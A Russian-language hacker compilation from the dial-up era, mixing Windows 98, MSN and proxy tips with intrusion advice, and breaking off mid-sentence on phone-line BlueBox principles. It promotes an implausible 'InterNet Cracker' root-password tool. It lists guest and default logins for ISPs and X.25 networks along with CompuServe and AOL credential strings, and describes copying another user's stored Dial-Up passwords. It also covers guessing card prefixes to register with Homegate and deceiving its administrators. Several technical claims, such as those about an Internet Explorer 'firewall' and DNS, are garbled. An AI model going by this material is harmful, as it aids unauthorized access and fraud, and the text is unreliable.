     Люди  утверждают, что взломать InterNet  возможно,  а  другие с криками
"Lamers  must  die" пытаются доказать,  что это прикол и совсем не  реально.
Хакеры утверждают, что пришло время поставить все точки над i.
     Взлом Internet возможен!  Причем  сделать это можно не будучи хакером и
не обладая какой-то дополнительной  информацией -- достаточно воспользоватся
уникальной программой InterNet Cracker (nethackers@valimar.poltava.ua).
     Вероятно,  она   никогда  не  была  бы   представлена   широкому  кругу
пользователей и  так бы  и осталась лишь  для internal  usage,  но  исходные
тексты  программы  были  украдены и в  перекомпилированном  виде, с убранным
авторством, ее стали продавать.
     Как работает  эта  программа. Когда пользователь  связывается  с  узлом
Internet, для  входа необходимо ввести login (идентификатор пользователя)  и
password  (его  пароль).  В  Unix  существуют   так   называемые  hard-coded
(стандартные) идентификаторы, поэтому для  взлома  системы  хакеру  остается
лишь найти соответствующий пароль.
     InterNet Cracker позволяет находить  пароли для пользователя  с  именем
root  пользуясь   оригинальным   методом   brute-force   password   spoofing
NetHackers.
     Если после ввода имени  на запрос login, хакера просят ввести Password,
то  это и будет строкой,  которую нужно  указать программе.  После  запуска,
программа остается  резидентной в памяти и  отслеживает появление на  экране
приглашения ввести пароль. Затем активизируется процедура подбора.
     Пример:
     1) inetcrk.exe password
     2) хакер соединяется с провайдером
     (любым DOS-терминалом)
     3) появляется запрос имени login:
     4) хакер вводит root
     5) появляется строка password:
     Если все сделано правильно, будет  запущен главный модуль  программы. О
его работе будет  свидетельствовать мигающий экран. Подбор паролей  начался!
Процесс  подбора может занять  от  1 до  5 минут, в зависимости  от качества
связи и быстродействия компьютера. По окончании работы на экран будет выдано
несколько   вариантов  паролей.  После  этого  хакер  немедленно   прерывает
соединение, чтобы на удаленном компьютере не осталось следов его работы.
     Если в процессе работы происходит обрыв связи, то все результаты работы
будут неверны. Как правило, для  нахождения  действительно настоящего пароля
хакеру требуется провести несколько таких сеансов. Низкий  процент попаданий
может быть связан с особенностями шифровки паролей на узле провайдера.
     Единственным требованием  для  работы  программы является ее запуск под
операционной  системой MS-DOS. InterNet Cracker  не может  быть  запущен под
Windows и на компьютере на котором находится Windows, т.к. в процессе работы
используются  недокументированные  функции  DOS,  которые  не   поддерживает
Windows.
     <b>Бесплатный Internet
     MTU Inform</b>
     Через guest/mtu и dialup.mtu.ru
     Телефоны: 9955555, 9955556.
     <b>Caravan</b>
     Через caravan/caravan www.caravan.ru
     Телефон: 9951070.
     <b>Caravan 2</b>
     Через caravan/free и DNS 194.190.218.2
     Телефон: 9951070.
     <b>Caravan 3</b>
     Через caravan/demo и DNS 193.232.120.226
     Телефон: 3324768.
     <b>Caravan 4</b>
     Через free/caravan
     Телефон: 3324768.
     <b>Data Force</b>
     Через 2889340 для получения демонстрационного доступа в сеть
     Телефон: 9566749.
     <b>Glas Net</b>
     Через  demo/demo123 или 2220990 для получения демонстрационного доступа
в сеть
     Телефоны: 7194457, 9274111, 9953535.
     <b>IBM Net</b>
     Через e-mail: ispp@patron.com для получения демонстрационного доступа в
сеть
     Телефоны: 2586435.
     <b>Microdin</b>
     Через guest/guest
     Телефон: 9951001.
     <b>Demos</b>
     Через _demo/demo
     Телефон: 9613200.
     <b>Mega Electronics</b>
     Через test/test или guest/guest и www.mega.ru
     Телефон: 9951070.
     <b>Пароли Windows 95 для Dial-Up Networking</b>
     Пароли Windows 95 для Dial-Up Networking хранятся в закодированном виде
в system.dat и user.dat. Один  из методов вытаскивания пароля из этих файлов
проще    всего    сделать   с   помощью    реестра.    Просматриваем    ключ
HKEY_USERS>Default>RemoteAccess>Addresses,   в    котором    прописаны   все
соединения Dial-Up  Networking  и  копируем их.  Далее  обращаемся  к  ключу
HKEY_USERS>Default>RemoteAccess>Profiles и просматриваем список профилей для
каждого соединения. Копируем и их. В  результате получается несколько файлов
с расширением .REG,  в которых находятся все настройки для соединений, в том
числе  и  зашифрованные  пароли.  Переписываем  их  в  другую  папку уже  на
собственный  компьютер,  запускаем их  через двойной щелчок мыши и  получаем
полную копию  Dial-Up Networking со  всеми настройками, номерами, логинами и
паролями.
     <b>Cеть MSN</b>
     MSN  можно  назвать глобальной  сетью, так  как в этой  сети вы  можете
отправлять  и получать  электронную почту,  подключаться  к  конференциям  и
разговорам, загружать  и  снимать файлы. При  этом, загружаемые вами  в сеть
файлы   и  ваша   активность  в   ходе  конференций   и   разговоров   могут
рассматриваться, изменяться и стираться без уведомления управляющим форума.
     Чтобы настроить  параметры модема для  работы в  MSN, необходимо дважды
щелкнуть пиктограмму MSN на рабочем столе, нажать кнопку <b>Настройка</b> и  просто
перейти  к  настройке  модема.  Диалоговое  окно  свойств  модема  в  <b>Панели
управления</b> можно  не использовать, так как параметры MSN имеют более высокий
приоритет.
     Если у вас возникли проблемы  при  попытке регистрации  в MSN, значит в
вашем регионе отсутствует телефонный номер для бесплатной регистрации.
     Попробуйте  в  диалоговом  окне  <b>Настройка  подключения</b>  нажать  кнопку
<b>Телефоны</b>, затем кнопку  <b>Изменить</b>,  выбрать  номер вашего региона и повторить
попытку соединения.
     Если установить  соединение  так  и  не удается,  обратитесь  в  службу
поддержки Microsoft.
     Конференции  пользователей  MSN  несколько  отличаются  от  конференций
Usenet глобальной компьютерной сети. В MSN группы конференций являются одной
из  услуг  сети  MSN.  Статьи этих  конференций никем не  рецензируются и не
предусматривают какой-либо ответственности авторов подобных статей.
     В  частности, это  означает, что  MSN  не  имеет  собственного  сервера
новостей с протоколом NNTP. Вы не можете посредством приложений типа Trumpet
Newsreader или Forte Agent получить доступ к конференциям MSN.
     MSN среди прочих возможностей включает доступ к Internet. MSN полностью
интегрирована с  обозревателем Microsoft Internet Explorer  4.0  и  снабжена
рядом функций, призванных улучшить ваше сетевое путешествие.
     Если вы  видите  <B>ALT</B>  в папке <b>\Internet  Newsgroups\Popular Newsgroups</b>,
значит  вы имеете полный доступ к ресурсам глобальной компьютерной сети.  По
умолчанию,  т. е. сразу  после  установки MSN, вы  имеете  лишь ограниченный
доступ к ресурсам Internet.
     Если  у  вас нет учетной  записи в Internet, просто зарегистрируйтесь в
Microsoft Network.
     Для этого достаточно  воспользоваться  расположенным  на  рабочем столе
значком MSN и следовать появляющимся на экране указаниям.
     Чтобы  вы смогли войти в MSN  через  своего поставщика  услуг Internet,
корпорация Microsoft разработала новую технологию доступа Third Party Access
(TPA). Эта технология  позволяет  вам  оплачивать время, проведенное  в сети
MSN, только вашему провайдеру.
     Вы можете получить доступ к сети MSN из Internet, используя даже версию
MSN 1.2.
     Чтобы войти  в  сеть MSN через вашего  поставщика  услуг  Internet,  он
должен поддерживать протокол  Point-to-Point  Protocol  (PPP) без каких-либо
сценариев, т. е. в режиме PPP не должно исполняться никаких команд. Если ваш
провайдер отвечает этим требованиям, проделайте следующие шаги:
     n Откройте папку <b>Удаленный доступ к сети</b> и создайте
     соединение с вашим поставщиком услуг Internet
     посредством мастера <b>Новое соединение</b>
     n Установите связь с вашим провайдером и войдите в
     Internet
     n Войдите в режим командной строки MS-DOS и наберите
     <b>ping www.msn.com</b>. Если вы получили доступ к web-узлу
     MSN, то вы увидите что-то похожее на это:
     <b>Pinging machine-name IP-address with 32 bytes of data</b>
     n Теперь щелкните левой клавишей мыши на пиктограмме
     MSN, откройте диалоговое окно свойств <b>Settings</b>, выберите
     <b>connect Using Another Internet Access Provider</b>, нажмите <B>OK</B>,
     а затем <b>Connect</b>
     Если вы используете  Microsoft Network  в качестве доступа к Internet и
являетесь  членом   MSN,  вы  можете  иметь  полный  доступ  к  конференциям
пользователей Internet  через MSN. С другой стороны MSN и Microsoft Internet
Explorer используют различные  протоколы  Usenet,  поэтому вы не  сможете  в
обозревателе Microsoft  Internet  Explorer читать  и  публиковать  статьи  в
конференциях Internet через MSN.
     Используйте для этого в MSN ресурс Newsreader.
     Вы можете совместно  использовать приложение telnet, рабочее соединение
TCP/IP и сеть MSN.
     Для доступа в telnet через MSN вам необходимо:
     n Установить приложение <b>Удаленный доступ к сети</b>
     n Установить MSN 1.2 или выше
     Запустить  из  папки Windows утилиту telnet.exe  только после того, как
будет реализовано соединение TCP/IP.
     Вы можете войти в MSN  через вашего провайдера  или  войти  в  Internet
посредством услуг MSN. Для этого откройте папку <b>Сеть</b>.
     Установив компоненты  <b>Клиент для сетей  Microsoft  Network</b>,  <b>Контроллер
удаленного доступа</b>  и <B>TCP/IP</B>,  добавьте  к  ним  протоколы <b>NetBEUI</b> и <b>IPX/SPX
совместимый протокол</b>. В контроллере удаленного доступа для TCP/IP в качестве
типа драйвера укажите <b>Драйвер NDIS для расширенного режима</b>, а сами  свойства
протокола TCP/IP настройте так:
     n <b>IP-адрес:</b> Получить IP-адрес автоматически
     n <b>Привязка:</b> Клиент для сетей Microsoft Network
     n <b>Шлюз:</b> Незаполненный
     n <b>Конфигурация WINS:</b> Включите распознавание WINS,
     добавьте свой сервер, например 204.118.34.6 или
     204.118.34.11 и отключите использование DHCP для
     распознования WINS
     n <b>Конфигурация DNS:</b> Отключить DNS
     Оставьте ваше первое соединение удаленного доступа в покое  и настройте
второе соединение  удаленного  доступа.  В качестве типа  сервера удаленного
доступа укажите
     <b>PPP: Интернет,  Windows  NT Server,  Windows  98</b>,  а  в  дополнительных
параметрах отметьте <b>Программное сжатие данных</b>. В качестве допустимых сетевых
протоколов укажите  только  TCP/IP.  В  настройках TCP/IP опции  <b>IP-адрес</b>  и
<b>Адреса  вводятся   вручную</b>  выберите  в  зависимости  от  инструкций  вашего
поставщика услуг Internet. Кроме этого, сообщите системе использовать сжатие
заголовков IP и стандартный шлюз для удаленной сети.
     Помните,  что сервер www.msn.com  к  услугам MSN имеет отношение весьма
отдаленное.
     <b>Сеть Sprint Network</b>
     Сеть  SprintNet   --  глобальная  сеть  коммутации  пакетов,  одна   из
крупнейших в  мире в настоящее время.  Cеть Sprint является непосредственным
развитием сети  Telenet --  одной  из первых общедоступных сетей  коммутации
пакетов.
     Владельцами   сети  являются   крупные  американские   коммуникационные
компании
     UTI и GTE. Их дочерней компании US Sprint принадлежит крупнейшая в мире
сеть оптоволоконных каналов, составляющая основу Sprint. К Sprint подключено
около  6000 host-компьютеров и шлюзов (gates)  других  фирм  и  организаций,
предоставляющих     разнообразные    справочно-информационные    услуги    и
обеспечивающих выход в другие сети.
     Эта сеть  считается  безопасной, так как при  работе  с  ней невозможна
потеря информации.  При  работе  с  электронной  почтой вам  предоставляется
специальный "ящик" на сервере,  который подключен с помощью телепроцессора к
системе электронной почты. Сама система максимально  продумана и имеет массу
команд. Под  нее  также есть и лицензионное программное обеспечение, которое
ставится на ваш компьютер вместе с сетью.
     Работа  с  сетью  Sprint  ведется  с  помощью  протокола  Х25,  который
обеспечивает пользователям виртуальный  канал.  Это  значит, что каждый порт
сети имеет  свой адрес, и  если на  другом адресе  находится  компьютер,  то
запросто можно к  нему подключиться. Для передачи  все данные разбиваются на
порции  и  передаются отдельными линиями по  одному каналу. Комплекс  Sprint
эффективно использует  системы  связи,  удешевляя стоимость  задействованных
ресурсов и при этом позволяет ускорить работу с сетью.
     Девиз  Sprint --  конфиденциальность.  Физически и аппаратно невозможно
проследить информацию, передаваемую сетью. О содержании файлов смогут узнать
только те, кому они непосредственно предназначаются. Никто никогда не узнает
адреса, имени и других сведений о вас, если вы этого не пожелаете.
     Звонок на Sprint осуществляется  самой обычной  теpминалной программой.
Вы набиpаете  номеp Sprint (928-6344, 928-0985, 342-8376, 913-7166, 578-9119
или 578-9161) и после соединения теpминал говоpит CONNECT 9600/ARQ/V34b.
     Дальше вам следует набpать @D и нажать enter. Выведутся стpоки:
     SPRINT NETWORKS
     772 11001A
     TERMINAL=(введите D1)
     772 -- это код стpаны, по  России и СHГ.  11001A  -- это номеp хоста, с
котоpого  вы вошли.  То есть,  получив  ответ напpимеp 772  11001F вы должны
подозpевать, что существуют хосты 11001A,B,C,D. То есть, возможно существуют
еще телефоны Sprint в вашем гоpоде.
     После @  вы должны  набpать  номеp сети -- NUA -- Network User Address,
т.е.  число,  задающее  сетевой   адрес  пользователя.   NUI  (Network  User
Identificator) -- код  доступа и пароль. DNIC (Data  Network  Identification
Code) --  код  сети,  представляет из  себя четыре цифры, которые  в  полном
сетевом адресе задают код сети данных.
     Если у вас нет ID и пароля, попpобуйте ввести следующее:
     login: guest/demo/new/bbs/help/info/newuser/anonymous/test
     passw: guest/demo/new/bbs/help/info/newuser/anonymous/test
     Sprint входит в состав консоpциyма  Global  One,  как  и другие крупные
сети коммутации пакетов: SITA aka SCITOR, Infonet, Tymnet  и  другие. Global
One  имеет  пpедставительство  (как электpонное  так и  физическое) в каждой
кpyпной стpане (модемный  телефон:  967-6767,  голосовой телефон:  705-9170,
адpес домена: global-one.net)
     Если хакер взломает именно спpинтовый xост, то его могут и привлечь, но
это в эависимости  от того как глубоко он залез, и знают  об этом или нет. А
если хакер pасковыpял  какую-либо сетку или что-нибудь еще чеpез  Sprint, то
вpяд ли. Sprint  наплевать кто чеpез него бpодит.  Пpоблемы могут возникнуть
от того к кому залез хакер.
     В    Internet   можно   узнать   об    услугах   сети    Sprint   через
http://www.sprint.com, http://www.sprintlink.net или http://www.rosprint.ru.
     Через Sprint доступны следующие службы:
     <b>CompuServe Network</b>
     Address: 202 202
     User ID: 177000,1005
     Password: EXPLORE/WORLD
     Program: WinCIM v3.0
     Для  соединения с  Compuserve Network  (а не с самим Компусервом) через
Sprint, нужно  ввести  те  же  X.25  адреса (что и  для  Компусерва),  но  с
указанием пятого порта: 202201E (или 202201.05), 202202E, 202203E,  614227E.
Как появится приглашение Host, введите мнемонику N2KRF1.
     <b>Microsoft Network</b>
     Address: 03110 83501000
     Program: MSN v5900
     <b>America On-Line</b>
     Address: 83420178.83
     User name: 2230033368
     Password: ELITES-GOLF
     Program: America On-Line v3.0
     <b>GEnie</b>
     Address: unpublished
     User ID: only god knows
     Program: telix
     Cканирование  Sprint -- последовательный перебор адресов (NUA).  Делать
это вручную  очень  долго -- для этого  используются разнообразные программы
или скрипты.
     Лучшая -- Sprintnet Scanner v1.5.
     <b>Сеть Dialog</b>
     Диалог  является  одной из  самых  обширных  информационных  служб.  На
сегодняшний день Диалог предоставляет доступ к более чем 600 базам данных. В
России существует несколько  сетей,  имеющих  свободный  (Reserved Charging)
выход  на службу Диалог  и даже  работает  мнемоника (DIALOG)! Cоединиться с
Диалогом   можно   через   SprintNet   (мнемоника:   DIALOG,  X.25   адреса:
0311041500048, 0311041500049,  0311041500020).  После соединения  вы увидите
приглашение:  DIALOG  INFORMATION SERVICES.  Логин,  как  правило,  является
шестизначным номером,  а пароли обычно имеют длину восемь знаков (большие  и
маленькие  буквы  чередуются  с  числами).  Если  пароль  угадан,  то  после
некоторых сообщений вы получите промпт - "?"
     <b>Номера некоторых баз данных сети Dialog:
     75</b> Management Contents
     <b>201</b> ERIC
     <b>204</b> CA Search
     <b>205</b> BIOSIS Privews
     <b>208</b> Compendex
     <b>213</b> INSPEC
     <b>215</b> ABI/INFORM
     <b>216</b> PTS Prompt
     <b>229</b> Drug Information
     <b>231</b> CHEMNAME
     <b>247</b> Magazine Index
     <b>250</b> CAB Abstracts
     <b>254</b> Medline
     <b>290</b> Dialindex
     <b>296</b> TrademarkScan
     К этим базам данных возможен доступ с  помощью клиентского софта Knight
Reader и Dialoglink:
     ftp://iserv.dialog.com/pub/WWW/quickstart/setup.exe
     ftp://iserv.dialog.com/pub/WWW/dlkdos.exe
     ftp://iserv.dialog.com/pub/WWW/dlkdos.zip
     ftp://iserv.dialog.com/pub/WWW/dlkwin.exe
     Техническая  поддержка  Диалога  доступна  бесплатно  через  российских
операторов MCI или AT&T или Sprint Global-One.
     <b>Сеть Homegate</b>
     Homegate -- является дочерней компанией I-Pass и предоставляет доступ к
Internet  практически  во  всех  странах мира  по  протоколу Х.28 через Sita
network,  BBN Network и  UUNET. В  России  сеть Homegate доступна через сеть
Sita NetWork (Equant).  Dialer соединяет вас  с сервером корпорации  I-Pass,
где  и  происходит проверка  пароля. Для прохождения регистрации  в Homegate
необходимо уже иметь вход в Internet, и находясь на линии запустить Homegate
Dialer,  затем  нажать  в диалере  кнопку  Register  (запустится  браузер  и
соединит хакера с сайтом регистрации).
     После прохождения регистрации хакеру будет послан файл с ID и паролем.
     Кредитка проверяется  не  во  время, а после прохождения регистрации, в
течении  10-20  минут,  поэтому подбирать  префиксы  --  гиблое дело.  Хакер
узнает, прошел он регистрацию  или нет только  по  истечении этого  времени,
позвонив с помощью Homegate Dialer.
     Если  хакер  вошел в  Internet ,  то  проходить  регистрацию необходимо
каждые два дня,  так как все договора, заключенные в России, прерываются для
"расследования".
     Чтобы не переустанавливать  Homegate Dialer для повторной  регистрации,
хакеру достаточно удалить файлы user.idx и user.dat.
     Если письменный английский хакера достаточно красноречив, чтобы убедить
администрацию сети Homegate в  том, что он американец, находится  в России и
возмущен  подобным  небрежным  отношением,  то хакеру  без  особых  проблем,
обратно активируют доступ.
     Письмо  пишется  не  в  HELPDESK@HOMEGATE.COM, а  прямо на тот адрес  с
которого хакеру  пришло  сообщение  о том, что он  новый пользователь.  Если
хакер удачно проделает все эти процедуры, у него будет доступ в Internet уже
через первый прозвон с CPS до 4000.
     Программу       Homegate      Dialer       хакер       загружает      с
http://www.homegate.com/howget
     <b>Прокси в Microsoft Internet Explorer</b>
     С помощью раздела <b>Прокси-сервер</b> вы можете подключиться к Internet через
прокси-сервер вашей локальной  сети. Для этого поставьте флажок <b>Подключаться
к  Интернету  через  прокси-сервер</b>  и  введите  в поля  данных  <b>Адрес</b>  адрес
прокси-сервера, а в поле данных <b>Порт</b> задайте номер порта.
     В общем случае,  обозреватель  Microsoft Internet  Explorer  не требует
параметров близлежащих узлов или так называемых прокси-серверов, то есть тех
сетевых  служб,  через которые  вы непосредственно работаете  с Internet.  С
другой  стороны,  конфигурация  некоторых  сетевых   соединений  блокируется
брандмауэрами.   Как   известно,  информация  защищается   брандмауэрами   в
компьютерах  внутренних  сетей от всеобщего доступа.  При этом,  брандмауэры
могут  ограничивать  способность Microsoft  Internet  Explorer  обмениваться
информацией  с  внешними  источниками.  Чтобы  преодолеть  это  ограничение,
Microsoft Internet  Explorer  позволяет вам взаимодействовать только  с  тем
программным обеспечением,  которое вам предоставляет ваш  провайдер Internet
или главный сервер вашей локальной сети. Все это  дело работает по мудренной
схеме.
     Прокси-сервер ретранслирует брандмауэр и обеспечивает связь  с заданным
протоколом сетевой  службы.  Поэтому, если  вы запустили  Microsoft Internet
Explorer через брандмауэр, вам необходимо указать номера логических портов и
ассоциировать номер  каждого порта под соответствующую службу сервера.  Если
же вы не хотите устанавливать параметры ретранслятора, просто снимите флажок
<b>Подключаться к Интернету через прокси-сервер</b>.
     Вы можете  вручную определить  службы  и  задать номера соответствующих
логических   портов  вашего  прокси-серевера.  Для   этого  нажмите   кнопку
<b>Дополнительно</b>  и  в  диалоговом  окне  <b>Параметры  прокси-сервера</b>  установите
параметры для каждой  службы Internet  и укажите  сервисные службы,  которые
поддерживает ретранслятор. Ими могут быть:
     n HTTP (HyperText Transfer Protocol)
     n FTP (File Transfer Protocol)
     n Gopher
     n Security (Secure Sockets Layer protocol)
     n WAIS (Wide Area Information System)
     n SOCKS (Сокеты)
     В полях данных  <b>Адрес  прокси-сервера</b> вы  должны указать имя  хоста для
каждого протокола соответствующей службы.
     Как правило, один прокси-сервер работает с тремя основными протоколами:
HTTP, FTP  и Gopher. В  поле  данных  <b>Адрес  прокси-сервера</b> вы  также можете
ввести IP-адрес прокси-сервера.
     На одном компьютере может быть запущено несколько сетевых служб, каждая
из  которых  идентифицируется   логическим  портом.  Этот  порт  принадлежит
прокси-серверу,  такому  как  HTTP  или   FTP.   Как  правило,  в   Internet
используются  стандартные номера логических портов. Например,  протокол HTTP
использует 80-й порт, а FTP -- 21-й.
     Вы можете  сообщить  обозревателю,  чтобы он не  использовал  параметры
сетевых  служб  локального  домена.  Например,  если  вы  определите в <b>Адрес
прокси-сервера</b>   bob.leon.com   и   укажите   в   поле   данных   <b>Исключения</b>
abob,bbob,leon.com,  то все необходимые  протоколы  HTTP  для  abob, bbob  и
leon.com  будут  использоваться  напрямую,   то  есть   игнорируя  параметр,
введенный в поле <b>Адрес прокси-сервера</b>.
     Раздел <b>Автоматическая  настройка</b> предназначен  для  весьма  продвинутых
пользователей.  Через  кнопку  <b>Настройка</b>  происходит   обращение  к  диалогу
<b>Автоматическая настройка</b>, с  помощью которого системный администратор  вашей
сети может загрузить файл настроек Internet Explorer. Как правило,  в  такой
файл  включаются  некоторые параметры  работы  Internet Explorer, касающиеся
начальной страницы и настроек прокси-сервера.
     <b>Система безопасности Microsoft Internet Explorer</b>
     В  диалоговом окне <b>Свойства  обозревателя</b> через вкладку <b>Безопосность</b> вы
можете  установить  параметры  работы   с  системой  безопасности  Microsoft
Internet Explorer.
     В Microsoft Internet Explorer имеется, мягко говоря, небольшая лазейка,
позволяющая  переконфигурировать  его брандмауэр, так как вы это  пожелаете.
Именно через этот пресловутый брандмауэр  вы можете, например,  без  особого
труда вакцинировать систему. Кстати, это  многими и  очень многими делалось.
Причем,  взлом  защиты Microsoft  Internet  Explorer может быть  осуществлен
несколькими способами, каждый из которых совершенно не связан с предыдущими.
Microsoft Internet Explorer  даже не определит того, кто хотел взломать вашу
систему. В этой программе  невозможно определить так называемую  зону риска.
Поэтому,   именно  через  брандмауэры  Microsoft  Internet  Explorer  ищутся
отправные точки захвата всей системы.  Например, простейшая атака программой
<b>rlogin</b>  через  отдельный компьютер большой сети позволяет перечеркнуть двумя
жирными  полосами нижепубликуемое описание  опций  системы  защиты Microsoft
Internet Explorer.
     <b>Изменение имени пользователя и компании в Windows 98</b>
     Если вы хотите  изменить имя пользователя и компании, откройте редактор
реестра в HKEY_LOCAL_MACHINE/
     SOFTWARE/MICROSOFT/WINDOWS.  Дважды  щелкните  левой  клавишей мыши  на
ключе REGISTERED OWNER или
     REGISTERED ORGINIZATION и просто введите новое имя.
     <b>Установка связи по модему между двумя удаленными компьютерами в Windows
98</b>
     Если вы  хотите  установить  связь  по  модему  между  двумя удаленными
компьютерами,  то  прежде  всего  компьютер, с которым вы пытаетесь наладить
связь  должен  быть  сервером  удаленного   доступа.  (<b>Удаленный  доступ   к
Соединения к Сервер удаленного доступа к Allow caller access</b>).
     Теперь  создайте  соединение  удаленного   доступа  и  нажмите   кнопку
<b>Установить связь</b>.
     Установив  связь, через  <b>Мой компьютер</b>  поключите к  своему  компьютеру
доступный сетевой диск исходного сервера удаленного доступа, задав его так:
     <b>\\<имя удаленного компьютера>\<буква диска без двоеточия>
     HyperTerminal и два удаленных компьютера в Windows 98</b>
     n откройте программу HyperTerminal
     n на одном из компьютеров отмените звонок
     n установите "соединение" с удаленным компьютером
     n наберите <B>ATS0=N</B> (N -- количество звонков перед
     снятием трубки), ваш модем перешел в режим ожидания
     n теперь другой компьютер должен набрать ваш телефонный
     номер
     <b>Удаление пароля в Windows 98</b>
     Для того, чтобы удалить пароль, найдите файл с расширением .PWL в папке
Windows, уничтожьте его и перезапустите систему.
     <b>Изменение адреса IP без перезагрузки системы в Windows 98</b>
     Если вы хотите  изменить адрес IP  без перезагрузки системы, откройте в
<b>Редакторе                 реестра</b>                 раздел                 Мой
компьютер\HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\VxD\MSTCP   и
сохраните этот  раздел  как файл с расширением  .REG.  После этого  измените
адрес  IP,  откройте  <b>Проводник</b> и запустите отредактированный  таким образом
файл  двойным  щелчком клавишей  мыши. Если  на  экране появилось  сообщение
"Записи успешно  внесены в реестр", то вы изменили адрес IP без перезагрузки
системы.
     <b>Установка двух интерфейсов IP на один сетевой адаптер в Windows 98</b>
     Если  вы хотите установить два интерфейса IP  на один  сетевой адаптер,
просто  добавьте  еще  один протокол  TCP/IP и настройте  его через  вкладку
<b>Конфигурация</b> диалогового окна свойств <b>Сеть</b>.
     <b>Windows 98 и модем на COM4</b>
     При   правильной  установке  джамперов,  система  способна   произвести
правильную конфигурацию вашего модема посредством технологии автоматического
распознавания устройств. Но иногда случается так, что COM-портов не хватает,
а вам необходимо установить модем. Тогда остается только
     одно -- подключить это устройство на третий или четвертый
     COM-порт.  Тут-то  вам  и  нужно  учесть  одинаковые  прерывания   IRQ.
Например,   прерывание   четвертого  COM-порта  может  быть   занято   вашим
видеоадаптером,  а  первый  COM-порт  всегда  имеет  в отношении  прерываний
больший приоритет по сравнению с четвертым COM-портом.
     Если система вообще не видит четвертый COM-порт, проверьте еще раз  все
джампера и просто заставьте Windows 98 обновить аппаратную базу данных.
     <b>Защиты системы в Windows 98</b>
     Концепция  безопасности  компьютера   подразумевает  защиту   всех  его
компонентов -- аппаратные средства и  приложения -- от  несанкционированного
доступа  из  локальной сети  или  Internet. В Windows 98  любой пользователь
вашего   компьютера  может  зарегистрироваться  в  системе.  При   этом  имя
пользователя и пароль могут быть такими же, как и при входе в сеть.
     Концепция безопасности  в Windows  98 весьма примитивна. В этой системе
вы,  как  администратор,  не можете  создать  группу  пользователей, завести
учетную  запись пользователя,  изменить  права  пользователя. Вместо  весьма
продвинутого   <b>Диспетчера  пользователей</b>  эта  система  предлагает  довольно
простенькое диалоговое окно свойств <b>Пароли</b>.
     Все это,  конечно же, означает, что Windows  98 вообще не  обеспечивает
никакого уровня безопасности.  Вы, как владелец  собственного компьютера, не
можете   управлять   собственными   ресурсам,   заводить   журнал   событий,
ограничивать  доступ  к  тому  или  иному  ресурсу.  Вы  ничего  не  можете!
Идентификатор пользовотеля ID? Нет! Эти вещи можно делать только в
     Windows NT.  SID!  SID!  SID! SID!  SID! SID! SID!  Забыть и  все  тут!
Никаких кодов безопасности! Доступ только в NT!
     Не вы,  а сама  система может создать  нечто,  напоминающее  уникальную
запись,  которая   идентифицирует   того   или   иного  пользователя  вашего
компьютера.
     Никакого контроля, учета и отслеживания.
     Вы, конечно,  администратор!  Но  концепция  безопасности Windows 98 не
подразумевает тот факт, что вы имеете законное право распоряжаться ресурсами
собственного компьютера.
     Речь идет о  том,  что механизм безапосности  в Windows  98  реализован
только на уровне регистрации пользователя.
     Вам  предлагается  так   называемая  <i>унифицированная  регистрация</i>.  Это
означает, что однажды  введенный эккаунт (пароль и имя пользователя) в  окне
регистрации при  загрузке системы  используется для доступа ко всем службам,
приложениям и аппаратным ресурсам вашего компьютера.
     Хорошо подобранный пароль, в  принципе, способен защитить  вашу систему
от проникновения в нее нежданных гостей. Поэтому:
     n никогда не записывайте свой пароль на бумаге

     n не пользуйтесь очевидными паролями
     (имена, названия городов)
     n никогда не отправляйте свой пароль по электронной
     почте
     n используйте разумное количество символов при
     составлении пароля, иначе вы забудете его в один
     прекрасный момент и не сможете изменить никогда
     С  помощью вкладки <b>Смена паролей</b>  диалогового  окна  свойств <b>Пароли</b>,  к
которому  вы  можете  обратиться  из  <b>Панели управления</b> посредством двойного
щелчка клавишей мыши на значке <b>Пароли</b>, изменяются параметры  <b>унифицированной
регистрации</b>  всех  ресурсов  вашего компьютера  посредством  задания  нового
пароля пользователя.
     Задать  новый  пароль  можно  через  вкладку   <b>Настройка  пользователя</b>,
обратиться к которой вы можете посредством двойного  щелчка клавишей мыши на
пиктограмме <b>Пользователи</b>, находящейся в <b>Панели управления</b>.
     Если  вы хотите  установить  защиту  на  тот  или  иной  ресурс  вашего
компьютера, например, разделить  доступ к  файлам и принтерам, прежде всего,
сделайте так, чтобы этот ресурс стал разделяемым.
     Более  подробную   информацию   вы   можете   получить   у   системного
администратора вашей компании.
     Windows   98   позволяет    управлять   ресурсами   вашего   компьютера
пользователям, которые имеют удаленный доступ к  вашей системе. Для этого вы
должны  добавить соответствующую службу с помощью вкладки <b>Сеть</b>, обратиться к
которой вы можете из <b>Панели управления</b>. Только после этого в диалоговом окне
свойств <b>Пароли</b> появится новая вкладка <b>Удаленное управление</b>.
     <b>Наезд на web-мастера</b>
     Путешествуя по Internet, вы, наверное, обратили внимание  на  различный
вид  web-страниц.  Некоторые  страницы выглядят весьма красиво  и  до отказа
заполнены  нужной вам  информацией.  Другие  -- безобразны,  отвратительны и
заполнены, как правило, всякой ерундой. Разработкой и  тех и  других страниц
занимаются  пользователи, называющие себя web-дизайнерами или web-мастерами.
Понятно, что хороший  web-дизайн  напрямую зависит от того, как пользователь
владеет интеллектуальной дисциплиной, называемой web-дизайном.
     Если вы программист,  никогда не пускайтесь в авантюры типа "Разработка
web-сервера". Поверьте,  это не для вас. Web-дизайн  --  это далеко не  коды
HTML!  Именно на этих самых кодах зацикливаются многие программисты, забывая
про
     главное   --    красивый   дизайн,   функциональность   и   содержание.
Профессиональный дизайн web-страничек и  серверов WWW не может быть выполнен
программистом.
     <b>Зачем вам нужен Domain Name Server</b>
     Каждое  подразделение Internet  имеет два  домена. Основной DNS  обычно
располагается на сетевой машине.
     DNS-сервера  используют в своих обращениях к удаленным  узлам 32-битные
адреса IP, мнемонически заключенные в четырехразрядную буквенную комбинацию.
Любой  хост может  получить соответствующий DNS у ближайшего информационного
сервера DNS  по известной  системе Domain Name Server через сетевой протокол
DNS.  Просто  хост  посылает  запрос на известный IP-адрес DNS-сервера  свой
IP-адрес  и имя  сервера.  Сервер  DNS  штудирует  собственную  базу данных,
находит  IP-адрес  и  отправляет  на  хост соответствующий ответ  DNS. Схема
весьма  примитивная.  Если  же  сервер  DNS  не  находит  искомую  буквенную
комбинацию,  то  он  отсылает запрос  на  так  называемый  корневой  сервер,
который, в свою  очередь, сверяет информацию с файлом  настроек  root.cache.
Так происходит до тех пор, пока имя хоста не будет найдено в Internet.
     <b>Принципы действия BlueBox</b>
     Управление   приборами   на   АТС  (набор  номера,   состояние   линии)
осуществляется   постояным   током.   Однако   это  справедливо  только  для
абонентских линий и частично -- для соединительных. В межузловой сети, как и
в  междугородной, стоит  аппаратура уплотнения  каналов, усиления сигналов и
